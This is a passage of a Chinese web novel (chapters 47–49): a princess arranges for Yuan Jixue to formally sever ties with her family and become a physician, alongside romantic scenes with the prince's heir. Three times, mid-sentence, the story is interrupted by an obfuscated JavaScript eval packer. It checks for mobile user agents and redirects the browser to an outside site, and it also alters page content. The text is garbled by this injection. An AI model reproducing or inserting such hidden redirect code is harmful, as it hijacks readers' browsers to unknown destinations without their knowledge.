打小从没让人喂过的元寄雪一时呆住了,尚未反应过来,便被流萤催促着,“元姑娘,你快喝呀,我试过温度了,不烫口的。” 她懵懵地张开嘴,流萤微微倾杯,参茶便缓缓流入了她的口中,一股暖流自喉间传向四肢百骸。 流萤喂得极其细致小心,一滴参茶也未洒出来。待元寄雪喝完一盏茶,流萤立即拿出素绢帕子替她拭了拭唇畔。 “元姑娘有什么事尽管吩咐我们做就是了,”流萤将空盏搁在案几上,絮絮道,“你是病人,切莫太劳动了。” 元寄雪本想说她早已习惯了,从小到大,她每每生病时都是独自一个人扛过去,煎药、吃药等等琐事也尽是自己打理。 那种滋味并不好受,所以她从来都尽力避免自己生病。平日里孤身一人都没什么,但病中的人实在脆弱,孤单感较平日百倍翻涌,她不喜欢那种感觉。 这还是第一次有人在她病时照顾她,让她什么事也别做。 元寄雪忽然觉得眼眶有些发热,不由轻轻对流萤弯唇笑了一下,“多谢。” “哎呀,举手之劳,当不得谢,当不得当不得……”流萤讪讪摆手。 再瞧见元寄雪时,往日心里那些暗戳戳的芥蒂早就飞到九霄云外去了,她只记着郡主和她一样,都觉得元寄雪是个好姑娘。 眼见一个好姑娘被家中逼成这副模样,她只觉得有些心疼。 “好啦,你们切莫再客气来客气去了,元姑娘病好之前,都让流萤照顾你,这“谢”字只说一次便够了。”封眠笑盈盈道。 流萤跟着点头,元寄雪面上却露出几分犹豫之色。 她只想随队到云中郡外,看着孩子们都平安抵达即可。她不想回到元家,还是要走的。 封眠看出她的犹豫,便将自己的正题提了出来,“我找你来,其实是想请你留在云中郡。” 元寄雪惊讶地抬眸看向封眠,十分不解:“留我?” 她顿了顿,仍是不能假装曾经发生过的事没有存在过,藏在袖间的手攥紧了衣袖,用力到骨节泛白,艰难开口道:“郡主难道这么快便忘了,我给世子殿下下药一事?” 时过多日,再提起此事她仍是有些难以启齿,尤其还当着不只一个人的面,简直像将脸皮撕下来丢在地上踩一般,但说出口后,她反倒觉得沉甸甸压在心口的巨石轻了一些。 “我自然没忘。” 听见封眠这般说,元寄雪心下愈发苦涩。 “但我知道,你也不过是想给自己搏一条路出来罢了。”封眠轻轻握住元寄雪微凉的手,“你明明是一个很骄傲的人。这些年你一定过得很辛苦,才会在这次绝望之时豁出去,铤而走险,用上你最不屑的手段。” 元寄雪苦涩地张了张唇,声音干哑:“想要嫁一个男人,来改变命运,在郡主眼中,一定觉得很可笑吧……” “我不觉得可笑。”封眠答得笃定,“你用尽了你所见的、所能用的全部手段,怎么能怪你呢?” 元寄雪眸光一颤,在眼中打转的泪珠忽地夺眶而出,在素色衣襟上洇开浅浅的痕迹。 轻得恍若没有任何重量的泪珠带走了她这些年说不出口的苦楚、羞惭与挣扎。风过无痕,衣上的水渍很快便会干涸,心上的也是。 “我希望此事能就此揭过,往后我们都不必再提。”封眠尖轻抬,素绢帕子拭过元寄雪微凉的面颊,“除了嫁人,你还有很多条路可以走。” 绢帕移开时,元寄雪对上封眠的眼睛,眼底没有怜悯,没有施舍,只有平等的郑重。 “我想请你留在云中郡,做一名女医官。古往今来,疫病往往与灾情相伴而生,北疆的大夫本就不多,医术精深者更是凤毛麟角。我想请你坐镇,看顾好此次的灾民们,防范疫病横生。” “我?”元寄雪下意识的反应便是推拒,“我不行的,我看过的病人极少,从未有过坐馆大夫的经验,医馆那些大夫最是瞧不起女子行医……” 封眠打断她喋喋不休的自我否定,目光如炬,直截了当地问道:“你想不想做?” 元寄雪顿住,沉默半晌,烛花"啪"地爆响,点亮她眼底闪烁着的渴望的微光,她轻轻点头说了一个字:“想。” “只要你想,只要我在,你就没什么不能做的。”封眠倏尔一笑,眼尾微扬,万分笃定道。 元寄雪只觉满身血液微烫,难以抑制的激动在她心底翻滚着。她下意识按住胸口,生怕那颗狂跳的心会跃出胸腔。她的唇角不受控制地扬起,在脸上带出一个深而轻快地笑意。 “不过……”她想到什么,忽地补充道:“我还有一个条件。” “莫说一个,便是一百个条件,也依你。”封眠狡黠地玩笑。 她的态度,让元寄雪心下多了几分底气,“我想与元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174858|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏彻底断亲。” “好,回去我便唤郡守来一趟,让他亲自为你办。”封眠应得果断,仿佛她说的不过是明日要吃什么这般寻常事。 四目相对间,两人不约而同地笑了起来。 过往种种皆随云散,往后,方是新生。 更深露重,云中郡的长街浸在月色里,静谧非常,唯有车轮碾过青石板的声响格外清晰。 载着封眠的马车拐向了王府,百里浔舟策马上前几步,护着缓缓停下的马车,屈指轻叩窗棂。 “郡主,到了。”他将声音放得轻缓,不过片刻便听见车内传来衣料摩挲的细响。 片刻后,流萤先掀帘跃下,转身小心翼翼搀扶元寄雪下了马车。 雾柳则扶着封眠慢吞吞地挪动到车辕处。 封眠先吩咐道:“流萤,你先将阿雪送去雪月居吧,煎好药看着她吃下再睡。” 百里浔舟本还想问要不要送元寄雪去别处住下,闻言一扬眉,目光在二人之间来回巡梭,这二人何时如此亲昵了? 封眠没注意到他,她两只脚都伤着,缠着细布,实在不大好下马车,干脆抬手唤一名鸾仪卫过来,“劳烦你……” 话音未落,眼前光线忽地一暗,一道身影挡在了她的面前。 封眠抬眸,瞧见百里浔舟不悦的侧颜。他一双薄唇紧抿着,拧眉垂眼看她眸色沉沉如墨,半晌才低低吐出两个字:“麻烦。” 未及反应,封眠只觉腰间一紧,整个人已被百里浔舟打横抱起,落入带着温暖气息的怀抱。 见他这般别扭,封眠夜不大高兴了,挣扎着要下地,“我又没麻烦你,松手。” “别动。”他横在腰间和腿弯处的手紧了紧,将她往怀里带了带,“是本世子非要自找麻烦,好了?伤患要有伤患的自觉,老实一点吧。” 说罢,他抱着封眠大步流星朝府内走去。 封眠:“……” 姚知远说得不错,他这脾气真如六月的天一般。 百里浔舟一路将她送到寝殿,轻柔地将人搁到床榻上,转身吩咐跟进来的雾柳,“记得给郡主换药。” 然后便如一阵风一般卷走了,来去匆匆。 雾柳:“……诶,世子做什么去?还不歇下吗?” 封眠睁了睁泛起困意的双眼,道:“想必要去处置那些拐子吧。别管他了,快,我要洗漱一番再睡。” * 长靴踏碎庭院月色,另百里浔舟大步穿过庭院,轻衣如影子般静悄悄落在他身后三尺处。 “殿下,鱼咬钩了。”轻衣的声音压得极低,“那蠢货直奔梧桐巷去了,兄弟们已布下埋伏。” 百里浔舟唇角勾起一抹讥诮的弧度。他故意留了破绽,放走了拐子的头目,想看看他是否会想办法联络幕后微他撑腰的人,没想到对方竟一头往刀口上撞。 梧桐巷深处,一道蒙头遮面的鬼祟身影小心翼翼地沿着墙根摸到一户人家面前,停在一扇斑驳的木门前,指节叩出两长一短的暗号。 片刻后,门被吱呀打开一条缝,渗出昏黄的灯光,照亮一张油亮的胖脸,紧张兮兮地:“你来干什么?” “快放我进去躲躲,官兵抓到老子窝里去了!” 头目粗暴地撞开门往里挤。 胖男人突然瞪大眼睛看着他身后,嘴唇剧烈颤抖起来。头目尚未反应过来,颈间已贴上冰冷雪亮的刀锋。 “别动。” 47. 第 47 章 灯花哔啵一声爆开,简单洗漱过后的封眠只觉浑身清爽,被雾柳扶着在床边靠下,正给两只脚换着药,外头忽然传来一阵嘈嘈切切的声响。 都快到后半夜了,这是又出什么事了? 封眠好奇地抬首往外张望,还没来得及喊个人去瞧瞧,房门便被轻轻敲响了,王妃急切又克制的声音在外头响起,“阿满?你歇下了吗?” “母亲?我还未歇下,您进来吧!”封眠忙坐直了,正要扶着雾柳下床行礼,便被三两步冲到床前的王妃摁住了。 “快别动了,好好躺着。”王妃俯身立在床头,上下将人打量一通,目光从她缠了两圈细布的手腕,落到她伤痕累累的两只脚上,泪光在眼底打转。 “你这孩子,出门时还好端端的,怎么就伤成这个样子了!”王妃在床边坐下,心疼地摸了摸封眠的下巴,“才几日,瞧你瘦的。” 温暖的指尖格外轻柔地蹭过颌骨处,轻得仿佛在触碰易碎的薄瓷,带着千万分的怜惜之意。 封眠不自觉地歪头蹭了蹭她的掌心,一双杏眸弯成了弦月状,烛火的光落在眼眸中,如星火一般明亮,说话时声音软得像融化得蜜糖,“我没事的,两日就能补回来了,母亲不必忧心。” “你是该好好养一养,这两日都莫要出门了,我得亲自看着你,将身子养好了才行!”王妃屈指在她鼻尖轻轻一刮,嗔怪道,“你呀,也学会先斩后奏了!” 王妃说到这儿,眉梢一挑,似是终于想起自己那个便宜儿子了,话音一转,面上慈爱之色倏然一敛,凤眸微眯,“阿琢那个混小子呢?将你保护成这副模样,自己又跑到何处躲着去了?” “母亲这般说可是冤枉他了。”封眠赶紧抱住王妃的手臂,撒娇般晃了晃,三言两语将擒获拐子的事说了个明白,“世子现下定是去忙着审人呢。” 王妃心下的火气轻易便被这道和风细雨浇灭了,垂眸瞧着封眠撒娇的模样,仿佛在看自己的亲女儿一般,终是没忍住,屈指在她额头轻轻一弹:“你啊,就护着他吧。” 语气虽嗔,眼底却已漾开笑意。 “行了,瞧见你这么有精神,我也算是放心了。”王妃说着起身,眼神制止封眠想要起身的动作,“你好生休息,明日我再来看你。” 封眠也没想到,翌日一早,王妃竟领着两个健仆,推了一辆檀木四轮素舆过来。 “你伤着脚,行动不便,又不能不能日日拘在屋里,可以坐在这素舆之上,让小厮推你在园子里转转,也好透透气晒晒太阳。” 王妃亲自扶着封眠在素舆上坐下,锦缎坐垫十分柔软,腰后还垫着一个软绵绵的护腰靠垫。 封眠新奇地摸摸檀木扶手,晨光暖暖地照在身上,一路暖到了心间。 王妃竟考虑得这般周到,连夜寻了适用的素舆来,这份心意,委实是太难得了。 风和日暄,垂花门前的海棠绯色正盛。 “天气暖和了,许多花都慢慢地开了。正好今日一起去瞧瞧。”王妃慢慢行过垂花门,身侧小厮推着素舆跟随。 封眠仰头望着湛蓝的天,听着耳畔王妃的温声细语,惬意地眯起了眼睛。 “你陪嫁的人里有个池苑司的,带来了许多新鲜花种。”王妃忽然想起什么,“听说种的不错,你也还未看过吧?” 封眠先是摇了摇头,才疑惑道:“池苑司?” 她对花草并无甚特别研究,这一点嘉裕帝是知道的,怎么还给她塞了池苑司的宫人来? 跟在后头的流萤忍不住插嘴道:“是他自己非要跟来的。他就是那日郡主您落水时在场的船夫!” 提起此事流萤还有些牙痒痒,她与郡主孤立无援的时候,那船夫惧怕公主,跪在地上屁都不敢出一个,事后倒是颠颠地想靠上来了。哪有这种两头讨好的事? 雾柳知晓的比流萤更周全一些,补充道:“事后郡主不是特意递了话,让人免了他的责罚。他心下愧疚又感激,便主动说要跟来北疆,为郡主培育四时鲜花。” 喔,封眠想起来了,她拍拍流萤的手,“当时的事也不怪他,昭宁那般阵仗,寻常人哪敢出头?看在他如此诚心悔过的份上,你且饶他这回。” 流萤撇撇嘴,到底没再吭声。 王妃不知发生了何事,待听得封眠讲了前因后果,当即后怕地拍拍胸脯,看着封眠的眼神愈发怜爱了, 在深宫之中,没有父母庇佑的孩子,即便是有皇帝看顾,也仍要吃不少苦。万幸平安。 花园的月亮门方出现在视野中,前方便传来一阵急促的脚步声,接着转进来一个身影。 百里浔舟见前方人影,一个急停,“母亲,郡主?” 待看清封眠坐在素舆之上,他飞快抬手将身后跟着就要拐出来的山衣推了回去。 “哎哟!”山衣一个踉跄后退,险些栽倒,站稳茫然地立在原地不敢动。 “闹什么呢?”王妃瞥百里浔舟一眼,“方才山衣怀里抱着的什么?” 虽是一闪而过,但她还是瞧见山衣怀里抱着个大物件,百里浔舟这般激动地要将其藏起来,看来是什么要紧的东西。 “没什么!”百里浔舟强作镇定,背在身后的手狂打手势,示意山衣快走。 王妃眯起凤眸:“鬼鬼祟祟躲躲藏藏,又在搞什么鬼?山衣,出来。” 山衣苦着脸冲百里浔舟耸了耸肩,连世子殿下和王爷都得听王妃的,他哪敢忤逆?只能苦着脸现身。 怀里抱着两副崭新的拐杖便暴露在几人眼前,拐杖上头还精心地缠着防滑的棉布条。 封眠先是一怔,接着抿唇,怎么也压不住翘起的唇角。阖府上下唯她伤了脚,这副拐杖是给谁准备的也不言而喻了。 只是与王妃准备的素舆相比,那是落下了不止一点,也难怪他当即就要躲。 王妃瞧着百里浔舟泛红的耳根,忽然觉得这头顶的暖阳,似乎格外灼人些,又好气又好笑地点了点他的额头。 “郡主一个柔柔弱弱的姑娘家,你怎的想到弄了副拐杖来?” 百里浔舟本不觉得有什么不妥,见了王妃准备的素舆才意识到,拐杖对郡主来说好像是有些奇怪,当下无力反驳,“是我想岔了。” “世子有心了,多谢你。”封眠眼底漾着笑意望向百里浔舟。 不说东西实不实用,能惦记着她的脚伤就已经算是很不错了。 百里浔舟忽地意识到什么,压下刚要浮起的笑意,轻咳两声,肃容疏离道:“郡主此番受伤毕竟也与我有关,我自是不能轻视。” 言下之意便是让她不要误会其中有任何情愫,不要对他抱有什么不切实际的期待。 他说罢,只见封眠神色自若地点了点头,也不知听到心里去没有?怎的半点反应也没有? 百里浔舟也不知道他想看到什么样的反应,但封眠现下这般镇定的反应着实让他有些在意难受。 又不能再多说什么,兀自憋得难受。 这时一名小厮小跑过来,说是郡守过府了。 封眠顿时精神一震,今日最重要的大事来了! “快去隔壁元府将元老爷和元夫人请来,就说我有要事相商。”说罢,她又吩咐流萤去雪月居请元寄雪。 * 日头斜照进王府正堂,将青砖地面分割成明暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176573|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交错的格子。封眠端坐在素舆上,颇有些头疼地看着郡守第三次推拒主位。 今日之事王妃和百里浔舟不大方便出面,封眠打算独自处理此事,她打算让郡守坐在主位,郡守却一直不敢坐。 他虽是秦王的小舅子,但在天家郡主面前还差着老大一截,哪敢当着她的面坐主位? “下官岂敢僭越……” “今日之事还要全赖大人相助,人已来了,大人快些坐下吧。”封眠听见外头传来杂沓脚步声,最后一次催促道。 元氏夫妇颇有些跌跌撞撞地迈进正堂时,郡守才在封眠的眼神施压下,坐上了主位,一时间王府正堂仿佛成了府衙正堂一般。 元夫人紧张兮兮地落后半步,死死攥着丈夫衣袖,看见堂上阵仗,更是心惊腿软。 “草民/民妇,见过世子妃,见过郡守大人。”两人颤巍巍地行了礼。 元老爷挤出一个笑来,不安地看向郡主,“不知世子妃殿下唤草民夫妇前来是有何事?” 封眠疏淡地开口:“府上三姑娘近来可好?” 果然是来秋后算账的! 元老爷与元夫人对视一眼,只觉口中苦涩,手脚发软。 元夫人顿时哭号起来,“郡主明鉴呐,那元寄雪已经私逃离家,早不是元家的人了!她自己造下的孽,我、我等实在是无辜啊!” “你的意思是,元家三姑娘元寄雪,与你们元家再没有干系了?”封眠截住话头,问道。 “是啊!”元夫人忙不迭应声,拽着元老爷一起不住点头。 “郡守大人,您可听清了?” 郡守恭敬道:“听清了。” “既然如此,那便签下义绝文书,才算断的干净。”封眠向身后递了个眼神,雾柳捧出两份早已写好的义绝文书出来。 正堂屏风后传来环佩轻响,一道袅娜身影缓缓踱了出来。 元老爷和元夫人顿时瞪大了眼,错愕不已,“寄雪?” 郡守一见便明白怎么回事了,郡主这是早就与元寄雪串通,不对,是商议好了要断亲,又怕这元氏夫妇见她得了郡主青眼,不肯断亲,才先演了这么一出,让他们自己亲口说出元寄雪与元家再无干系的话。 既如此,他也应当配合郡主一番,于是沉声问道:“元氏女,你可想清楚了?此状一立,生死荣辱,再与元家无干。” “民女心意已决。”元寄雪伏地叩首,额头碰在冰冷的砖面,只觉前所未有的冷冷静。 郡守颔首,“既然你们双方都无异议,那便签字画押吧。” “等等……”元夫人果然犹疑,世子妃亲自出面替元寄雪张罗,说明她并未记恨她此前行事,日后说不得还要扶持她一二。 王府和世子妃的大腿,错过了可就抱不着了。 郡守目光一厉,“怎么?你方才亲口所言元氏女与你元家再无干系,难道是蒙骗本官不成?” “民妇不敢!” 说过的话再更改不得,元夫人便是心下有再多算计与不甘,也只能乖乖听话。 元寄雪一挽袖,在一式两份的义绝文书上签字画押,眼底漾起盈盈泪意,唇畔却勾起喜悦的笑。 “立绝亲书人元氏,情愿与父母兄弟永断瓜葛,日后荣辱各不相干!恐后无凭,立此存照。” 郡守在义绝文书上盖上官印,突然问道:“本官多问一句,你另立户籍,可要改姓?” 元寄雪抬眸,眼底似有星火复燃:“民女愿改‘柳’姓。” 她的生母姓柳,柳枝柔韧,生机盎然。往后的日子,她再不是元府后院孤苦无依的三姑娘,而是独立门户的柳寄雪。 48. 第 48 章 新鲜出炉的“柳寄雪”这个名字,眨眼间就传遍了云中郡的大街小巷。 “听说世子妃让她做女医官,女子也能当官了?” “这元姑娘做什么与家中闹成这副样子?岂不难看!” “人家现在是柳姑娘了!你还不知道她那个后母做了什么吧?啧啧,真是瞧不出来,竟然有这般狠的心肠!” 元夫人和她身边的丫鬟被郡守带来的府兵押走了,元夫人给自己继女下药,迫她嫁人的事,自然也瞒不住,悄悄地被众人口耳相传了出去。 这下再无人议论柳寄雪断亲改姓一事,便是有那等道德卫士在心里嘀咕着“子女不言父母过,捅破天的事也不能断亲”,也不敢当着众人的面说出声,恐怕被一拥而上哄打一顿。 但仍有人瞧不惯女子做官,说风凉话,“医官算什么官?还不是给人看病的大夫。” “那也不是什么大夫,都能当上世子妃亲口封的医官啊!听说世子妃命她给城外的流民治病嘞。” 黑石沟的村民和被拐的那群孩子们暂时被安置在了城外,等柳寄雪一一探看过,确定没有患上疫病的风险,才会准允入城。如此一来,两边的百姓心里都能放心。 不过他们住的皆是军营中的帐篷,被褥俱全,并不寒酸。 风餐露宿许多时日的众人有了一处可平坦安睡的地方,能吃上热乎的粥饭,心下皆是十分的满足了。 另一头封眠不知外头的风言风语,正急匆匆地让人将自己推回藏弓院。 按理说,刚刚助柳寄雪彻底脱离了元家,她应当与其好生庆祝一番的,但眼下她心中还惦记着旁的事,不做完安不下心来,便吩咐人送了两坛好酒过去,许诺过两日再将今日的庆贺补上。 进了屋子,却发现案几旁坐着个人。 他单膝屈起,慵懒地倚靠在凭几上,手上拿着一册纸细细看着。 “世子?”封眠被小厮推到案几旁,发现他在看的正是自己之前未看完的户籍文书。 百里浔舟眼皮轻撩,便算是与她打过了招呼,又埋首文书,随手拿起笔记下什么。 封眠探头一瞧,他正是比着自己之前记录的格式,从文书中挑出可疑的信息记下。 她急着赶回来,正是为了忙此事。 拐子被一网打尽,尚未脱手的孩子们皆被救下,但此前就被他们倒手贩卖的孩子们的信息却已被他们销毁了,更不可能还记在脑子中。 还是得将文书检查一遍。 百里浔舟将几页文书推给封眠,道:“官府的内贼已抓到了,是衙门的主簿。他们从五年前开始做这种勾当,只需查这五年内的文书即可。” “他们交代了这些年来转手的城镇,我已派人分头去查,定当一个不落地将人找到。” 几句话将封眠心中惦记着的事情尽数交代清楚了。 封眠又看一眼文书,百里浔舟已将剩下的部分都查得差不多了,也无需她再多费什么心神。 她心下知道他定是担心她心力不济还要坚持着查文书,所以才先一步帮她将能做的都做了,却又做出这样一副平淡姿态,毫不邀功。 她有心想要道谢,又觉得道谢反而会伤了他的心意。毕竟此事确实并非她一人之事,他本就也有如此行事的责任。 “你还没用晚膳吧?我让人去给你弄些吃食。” 那就干脆拿出好吃好喝的招待吧,吃饱了也更有力气干活嘛。 领命出门去宣晚膳的流萤心下十分不解,“人既已经抓到了,只需郡守发个公告,那些被拐的人自然会主动找来,何必还要这么麻烦呢?” “万一主家不放人呢?万一人已经意外没了呢?”雾柳想得总是比流萤周全一些,解释着,“万一还有人扯谎攀咬呢?” “这世上的人什么心思都有,自然要思虑得更周全一些。” 流萤恍然大悟,想不到一件她以为十分简单的事背后,竟还有这么复杂的弯弯绕绕。 唉,若人人都能再简单些就好了。 银挑针在烛焰将熄未熄时轻轻一拨,晃动的烛光重又明亮起来,照出小小案几之上琳琅满目的美食。 封眠搁下银挑针,托腮看着百里浔舟用膳,发现他执箸时总是先避开芫荽,再绕过姜丝,专挑鱼腹最嫩的部位。 咦,他竟是有些挑嘴的。 下次得吩咐厨下不给他放这些了。 封眠自己倒不大挑嘴,她打小便什么都吃得香,只是偶尔身体不允许她什么都吃。准备饭食前倒忘了问百里浔舟有无忌口。 不过王府的厨子竟也不知道他挑嘴吗? “你不吃?”他突然抬眼,筷尖悬在半空。 封眠回神,忽略腹中隐隐的饥饿感,坚定地摇头,“不饿。” 即食汤饼的事给了她灵感,她打定主意将自己饿上几顿,体验一下流民的饥饿感,试试看能不能在梦中再看见一些新鲜的吃食。 所以她要坚决忍住诱惑,绝对不能吃。 封眠捧起茶盏,咕嘟咕嘟喝着茶。 饿了就喝点茶水吧,喝个水饱骗骗肚子。 百里浔舟哪想得到这世上还有人故意饿自己的肚子,当下也不疑有它,埋头继续吃饭。 封眠眼巴巴瞧着他吃得香喷喷,喝干了两大壶茶。 夜里吹了灯,两人一左一右躺下了,中间像是隔着道银河。 安静半晌,封眠眨着眼睛盯着头顶的床幔,“明日我随你一起去府衙,核对户籍可好?” 百里浔舟:“嗯。” 两人之间一时又静了下来,只闻清浅的呼吸声。 半晌,封眠忽然轻轻唤了唤他的名字,“百里浔舟?” “怎么了?” 封眠揪着被角,小心翼翼地问:“我都没问过你的意见,便留寄雪在王府住下,你可有觉得不快?” 她当真是有些昏了头了,都忘了苦主在此,他之前还说不想再见柳寄雪。现下算起来,最少也已又见过两面了! 百里浔舟语气淡淡的,“你也是王府的主人,留谁住宿,是你的自由。” “我若说觉得不快,你待如何?” 还能现下前去将人赶出去吗? 封眠坐了起来,“那我去陪她出去寻个旁的住处。” 百里浔舟忙跟着坐起来,将人虚虚一拦,“好了,我随口胡说的。躺下。” 他哪想得到她还真想去? “喔。”封眠顺势便躺下了,悄悄抿起唇偷着乐。她就知道,自己若说现下就去带人走,他定是要拦的。 百里浔舟顿了顿,她这行云流水的动作,怎么好似根本没打算真的下床? 他也跟着躺下了,混不在意道:“况且她已抛却了往日的身份,从前种种,便当烟消云散吧。” 与一个走投无路的姑娘家斤斤计较,他才是真的没有肚量。 “那便好,明日我告知她,她定也是高兴的……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186542|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 封眠心神一松,话音越来越轻,渐至消弥。 她这几日都没怎么休息好,今日又饿了自己一整日,已是筋疲力尽了,说着说着话便睡了过去。 百里浔舟听见身侧呼吸逐渐趋于平稳均匀,侧首一看,封眠已然安安稳稳地入睡了。 翘起的睫毛在她眼下投下一道阴影,如玉的鼻梁高挺,安睡的侧颜恬静秀美。 百里浔舟心下一哂,今日竟睡得这般快。 前几次他门同床共眠时,彼此一开始都是闭目装样子,较劲许久,他才听见她入睡的呼吸声。 想来这几日,定是累极了。 百里浔舟细细一想,竟觉得她自来到北疆,仿佛就没安生得待过几日,病几日,忙几日,忙几日,又病几日。 不知她在宫中是不是也是这般? 他本以为清平郡主在宫中有嘉裕帝护佑,定是被百般娇惯,悠闲自得,今日却听母亲说了她在宫中被昭宁公主推下水的事。 王府远离盛京,对宫里头的事情知晓不多,但也知道这位昭宁公主是圣上宠妃柔妃之女,想来受宠爱程度与封眠也是不相上下的,否则不会封眠都落了水,船夫连去唤个太医来都不敢。 她敢公然做出此举,平日里又怎会与封眠好好相处呢? 而且母亲还说,太后是不喜封眠这个外孙女的。在封眠五六岁的年纪,有一阵子,太后疑心她被邪祟染了身,瞒着圣上将人丢进了道观,七日未给水米,只喝符灰水。 后来圣上发了好大的脾气。 这事还是母亲许多年前去秦王府上赴宴时,听席间命妇闲聊时说的。事后她便将这随耳听得八卦抛到了脑后,今日听了封眠落水之事,细一思量,才想起来。 后宫里头两位主事人都不喜封眠,便是有圣上护着,她多多少少也是要吃些苦头,压根不像他们所想的那般泡在蜜罐子中长大。 百里浔舟想得还要更多一些,他算了算时日,封眠落水高烧昏迷那几日间,圣上赐下了他二人的婚书。 封眠也说过,圣上是因为命理之说,欲要破了封眠的厄运,才将她赐婚来北疆。 这一切,很显然是有人在背后做了手脚。 百里浔舟无声地叹了口气,想到她初来北疆时,自己与百姓们的排斥,也不知道她是何心情? 若是他坚持要和离,封眠再回到宫里去,会不会被太后和柔妃为难?再被昭宁公主欺负? 或许他到时可以找些别的理由,将人留在北疆?北疆气候虽不如盛京温暖宜人,但起码有他在,定不会让旁人欺负了她去。 一通胡思乱想着,百里浔舟迷迷糊糊地睡了过去,夜半忽然察觉身侧有窸窣声响。 睡前果然不应喝太多茶水。 封眠睡眼朦胧地爬坐起来,垂头缓了一会儿,才不情不愿地撑着手跪起来,慢吞吞地往床外跑。 她担心将封眠吵醒,本想绕到床尾下床,谁知百里浔舟躺下是这么长一条,想绕开他还真有点难。 罢了罢了,她小心些,从他身上慢慢跨过去吧。 这对封眠来说着实是一大挑战。 她四肢睡得软绵绵的,脚上还不大能使力,费了九牛二虎之力,还是一膝盖跪到了百里浔舟的手背上。 百里浔舟本是屏息忍着没动,想瞧瞧她到底要做什么去,被忽然一击,没忍住闷哼一声。 惊得身上人一慌,匆忙挪开膝盖,却失了平衡,啪唧咂进了他怀里。 49. 第 49 章 硬邦邦的胸腹肌肉磕在封眠的下巴上,疼得她眼底浮起一层薄薄的泪光。一时间都忘了要先爬起来。 百里浔舟在她摔下来的瞬间便是腰腹一紧,浑身肌肉硬邦邦的绷着,黑暗中隐约听到封眠痛得呼了一声,当下也有些急。 腰腹处微微一用力,半抬起身,双手摸索着撑着封眠的肩头,将人扶了起来。薄薄的衣衫下,几乎能触见她细腻柔嫩的皮肤。 “你怎么样?” 夜色浓稠,屋里未留灯盏,百里浔舟瞧不清封眠神色,只能看见她正捂着下巴,又不见她答话,担心她方才那一撞是不是咬着了舌头,急得向前凑了凑。 “伤着了?” 凑得近了,他方才瞧见封眠眼底漾着一点水光,心头蓦地一紧。他伸出一手托住她的下巴,想仔细看看她伤得如何了,“可是咬到舌头了?” 封眠被烫到一般向后缩了一下,“我没事,只是磕到了下巴。你……” 她有心想怪一下他身上怎么硬的跟石头一样,话到嘴边转了两圈,又不好意思说出口,委屈巴巴地跪坐在床边揉着下巴。 月光透进来,偏移一线,恰好穿过床幔落在了她身上,映得人如夜色中的玉人一般。 只是玉人神色不大高兴。 封眠压坐在被子上,整个人的重量都陷在被褥里,恰好将百里浔舟的一截小腿压得结实。 被面紧绷绷地裹着腿动弹不得,让他也愈发无措起来,略有些生疏地放软了音色,“你想做什么去?我帮你?” “不用。”她也知自己恼得没什么道理,那点不高兴只在心头转了一圈便消散了,“抱歉啊,本来没想吵醒你的。” 她就是担心将人吵醒才没喊人的,说罢,她忽然后知后觉地想起来百里浔舟是有些怕黑的,屋内没留灯烛,睡得正香时突然被她砸了一下,也不知道吓到没有。 这般想着,她便也这般问了出来。 百里浔舟被她这么一关心,有些羞赧,又莫名冒出一点淡淡的欢喜来。 她自己刚磕着了下巴,竟还惦记着关心他怕黑的事。 “无妨,我……”开口谈及自己怕黑一事总还是有些别扭,百里浔舟顿了顿才接着道,“外头有月光,还有你在,我也没有这般不禁吓。” “你还没说你要去做什么?你脚伤着,莫要逞强。”百里浔舟担心她不好意思麻烦自己,兀自猜测着,“可是口渴了?” “我想起夜。”封眠忙摇头,可不能再喝水了。她顿了一下,又补上一句,“你帮我喊一下流萤或者雾柳吧。” 起夜这种事,怎么好让百里浔舟帮忙呢? 百里浔舟也闭上了想帮忙的嘴,这事他是真没法帮。 他抽出腿,翻身下榻,却没就这样出门去叫人,而是先俯身将封眠打横抱起,轻柔地搁到素舆上,才开了寝屋的门,将雾柳唤了进来。 之后他便一直等在床边,待雾柳将封眠推回来,又轻柔地将人抱起来搁回了床上。 封眠接连被抱了两次,也有些不大好意思,躺下后将被褥一卷,闷声道了句谢,赶紧便装作要睡了。 她应当好好道一声谢的,但她开始觉得百里浔舟有点古怪了。怎么突然这么细心温柔又体贴?对她的愧疚就这般深吗? 伤了脚真是处处麻烦,行动不便不说,就连人也变得古怪起来,可快些好起来吧。 身侧没了动静,百里浔舟坐在床边,看封眠裹得跟蚕蛹一样的背影,莫名地勾唇笑了笑。 翌日一早,封眠脚上换了药,便催着百里浔舟一道出门去府衙。 百里浔舟这回注意到她只用了两口薄粥,便给她夹了一筷子糕点,“怎么只吃这么点,喂鸟呢?” 